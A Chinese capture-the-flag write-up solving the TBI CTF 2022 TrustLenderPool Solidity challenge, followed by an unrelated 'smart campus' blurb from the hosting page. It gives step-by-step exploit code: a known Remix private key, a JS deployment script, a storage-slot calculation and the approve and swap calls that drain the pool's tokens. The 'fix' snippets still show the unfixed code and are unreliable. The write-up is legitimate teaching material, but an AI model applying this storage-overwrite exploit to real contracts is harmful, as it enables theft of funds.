题目转载:1 - TBI CTF 2022 TrustLenderPool

发现漏洞

Approve 函数的 safeCheck 修饰器实现比较特殊,判断了 tx.origin 末尾字节如果为 0xbeddC4 则可以调用 grant 函数,而 grant 函数可以对 storage 进行写入操作,写入的 slot 可由 amount 参数指定。但是 grant 的 spender 参数要求为合约地址,且该合约代码长度需小于 10。

Plaintext
function approve(address spender, uint256 amount) public safeCheek(spender,amount) returns (bool) {
    _approve(msg.sender, spender, amount);
    return true;
}

modifier safeCheek(address spender, uint256 amount) {
    if (uint160(tx.origin)&0xffffff!=0xbeddC4||tx.origin==admin) {
        _;
    } else {
        grant(spender, amount);
    }
}

function grant(address spender, uint256 amount) internal {
    require(spender.code.length>0&&spender.code.length<10);
    AddressSlot storage r;
    bytes32 slot = bytes32(amount);
    assembly {
        r.slot:= slot;
    }
    r.value = tx.origin;
}

指出漏洞

整体解题思路如下:

1)0xbeddC4 为 Remix VM 使用签名账号,该账号为 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4,其私钥公开为 0x503f38a9c967ed597e47fe25643985f032b072db8075426a92110f82df48dfcb。

2)使用 JS 脚本部署一个字节码长度小于 10 的合约,合约地址用作 approve 调用 spender 参数。

3)使用 JS 脚本计算攻击地址在 token1 的\_balances 中的 slot 数值,该数值用作 approve 的 amount 参数。

4)使用 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4 在 token1 合约发起 approve 调用,spender 为 2)部署的合约地址,amount 为 3)计算得出的 slot 数值,从而使得攻击地址的 token1 的 balances 余额变为 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4。

5)使用攻击地址正常调用 token1 的 approve 函数,授权 TrusterLenderPool 合约,授权额度为 TrusterLenderPool 的 token0 的 balance 余额 100*10**18+10000。

6)使用攻击地址调用 TrusterLenderPool 的 swap 函数,使用 token1 置换出合约内全部的 token0。

7)调用 TrusterLenderPool 的 Complete 函数,完成解题过程。

漏洞复现

1)部署合约,合约代码不能编译成功,需进行部分修改,主要修改如下:

a)增加 ICERT 接口,其内容为 IERC20,并增加 _mint 接口

Plaintext
interface ICERT {
    event Transfer (address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address to, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address from,address to,uint256 amount) external returns (bool);

    function _mint(address account, uint256 amount) external ;
}

b)修改 TrusterLenderPool 的 constructor()函数,进行地址强制类型转换,去掉编译错误。

Plaintext
    ICERT public  token0;
    ICERT public  token1;

    constructor () {
        Cert token00 = new Cert();

        token0 = ICERT(address(token00));
        token0._mint(address(this), 10000);

        Cert token10 = new Cert();

        token1 = ICERT(address(token10));
        token1._mint(address(this), 10000);
    }

c)简单将 Cert 合约的 _mint 函数由 internal 修改为 public,使得 TrusterLenderPool 可以进行 _mint 调用。

Plaintext
function _mint(address account, uint256 amount) public {
    require(account != address(0), "ERC20: mint to the zero address");
    _totalSupply += amount;
    _balances[account] += amount;
}

2)在 Ropsten 网络部署 TrusterLenderPool 合约,并通过其 public 变量获取 token0 和 token1 合约地址:

TrusterLenderPool:0x95C02a2c5923053672704390a358a0520Ec05b41

token0:0xB1B5FE00aca2746B4B7Eba27b84C4654D54A03d9

token1:0x932C92fBa166bdA2A69a20251713E7d3BeB706e2

通过 At Address 按钮,获取 token0 和 token1 合约实例。

 

 

3)使用 JS 脚本部署字节码长度小于 10 的合约,如下代码部署合约字节码长度为 6,合约地址为:0xbee7ddD295b11b421c849ba060941bD1E17E0435

Plaintext
let fs = require("fs");
let Web3 = require("web3");

let web3 = new Web3("https://ropsten.infura.io/v3/***");

let PUBLIC_KEY  = "0x5B38Da6a701c568545dCfcB03FcB875f56beddC4";
let PRIVATE_KEY = "0x503f38a9c967ed597e47fe25643985f032b072db8075426a92110f82df48dfcb";

async function send(transaction) {
    let gas = await transaction.estimateGas({from: PUBLIC_KEY});
    let options = {
        to  : transaction._parent._address,
        data: transaction.encodeABI(),
        gas : gas
    };
    let signedTransaction = await web3.eth.accounts.signTransaction(options, PRIVATE_KEY);
    return await web3.eth.sendSignedTransaction(signedTransaction.rawTransaction);
}

async function deploy(contractName, contractArgs) {
    let abi = "[]";
    let bin = "3859818153F3";
    let contract = new web3.eth.Contract(JSON.parse(abi));
    let handle = await send(contract.deploy({data: "0x" + bin}));
    console.log(`${contractName} contract deployed at address ${handle.contractAddress}`);
    return new web3.eth.Contract(JSON.parse(abi), handle.contractAddress);
}

async function run() {
    let myContract = await deploy("MyContract", [123, "My String"]);
}

run()

4. 使用 JS 脚本计算攻击地址 0xB359d643AacE52Bd1437edC5ef6E10f45066C2A4 在 token1 的 _balances 变量中的 slot 数值,数值计算结果为:0x4e2b342ae1c95cc687837762ed1ba348bd24dbb062e9652284210ad0d4966d7b

Plaintext
const Web3      = require("web3");
var web3 = new Web3("https://main-light.eth.linkpool.io/");

var addStr = "0x000000000000000000000000b359d643aace52bd1437edc5ef6e10f45066c2a4"
var pStr   = "0000000000000000000000000000000000000000000000000000000000000000"
console.log(addStr+pStr)

var balSlot = web3.utils.keccak256(addStr+pStr)
console.log(balSlot)

5)使用 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4 对 token1 合约发起 approve 调用,spender 为 0xbee7ddD295b11b421c849ba060941bD1E17E0435,amount 为 0x4e2b342ae1c95cc687837762ed1ba348bd24dbb062e9652284210ad0d4966d7b,从而使得地址 0xB359d643AacE52Bd1437edC5ef6E10f45066C2A4 的 token1 的 balances 余额变为 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4。

交易执行成功后,可以查询 0xB359d643AacE52Bd1437edC5ef6E10f45066C2A4 的 balance 余额:

6)0xB359d643AacE52Bd1437edC5ef6E10f45066C2A4 调用 token1 授权函数 approve,授权 TrusterLenderPool 合约,授权额度为 100000000000000010000,即 TrusterLenderPool 的 token0 的 balance 余额:

 

调用 approve 授权交易完成后,可以通过 token1 的 allowance 接口确认 allowance 结果。

7)调用 TrusterLenderPool 合约的 swap 函数,tokenAddress 输入 token0 合约地址,amount 输入 100000000000000010000,将 TrusterLenderPool 合约内的 token0 全部置换出来。

交易完成后,可以查询 TrusterLenderPool 的 token0 的 banlance 余额已经变为 0.

8)调用 TrusterLenderPool 的 Complete 函数,完成解题。

 

漏洞修复

1)将 approve 函数的 safeCheek(spender,amount)修饰符调用移除。

Plaintext
function approve(address spender, uint256 amount) public safeCheek(spender,amount) returns (bool) {
    _approve(msg.sender, spender, amount);
    return true;
}

2)将 _approve 函数内 tx.origin==admin 分支移除。

Plaintext
function _approve(
    address owner,
    address spender,
    uint256 amount
) internal {
    if(tx.origin==admin){
        require(msg.sender.code.length>0);
        _allowances[spender][tx.origin] = amount;
        return;
    }
    require(owner != address(0), "ERC20: approve from the zero address");
    require(spender != address(0), "ERC20: approve to the zero address");
    _allowances[owner][spender] = amount;
}

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
智慧校园整体解决方案是响应国家教育信息化政策,结合教育改革和技术创新的产物。该方案以物联网、大数据、人工智能和移动互联技术为基础,旨在打造一个安全、高效、互动且环保的教育环境。方案强调从数字化校园向智慧校园的转变,通过自动数据采集、智能分析和按需服务,实现校园业务的智能化管理。 方案的总体设计原则包括应用至上、分层设计和互联互通,确保系统能够满足不同用户角色的需求,并实现数据和资源的整合与共享。框架设计涵盖了校园安全、管理、教学、环境等多个方面,构建了一个全面的校园应用生态系统。这包括智慧安全系统、校园身份识别、智能排课及选课系统、智慧学习系统、精品录播教室方案等,以支持个性化学习和教学评估。 建设内容突出了智慧安全和智慧管理的重要性。智慧安全管理通过分布式录播系统和紧急预案一键启动功能,增强校园安全预警和事件响应能力。智慧管理系统则利用物联网技术,实现人员和设备的智能管理,提高校园运营效率。 智慧教学部分,方案提供了智慧学习系统和精品录播教室方案,支持专业级学习硬件和智能化网络管理,促进个性化学习和教学资源的高效利用。同时,教学质量评估中心和资源应用平台的建设,旨在提升教学评估的科学性和教育资源的共享性。 智慧环境建设则侧重于基于物联网的设备管理,通过智慧教室管理系统实现教室环境的智能控制和能效管理,打造绿色、节能的校园环境。电子班牌和校园信息发布系统的建设,将作为智慧校园的核心和入口,提供教务、一卡通、图书馆等系统的集成信息。 总体而言,智慧校园整体解决方案通过集成先进技术,不仅提升了校园的信息化水平,而且优化了教学和管理流程,为学生、教师和家长提供了更加便捷、个性化的教育体验。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值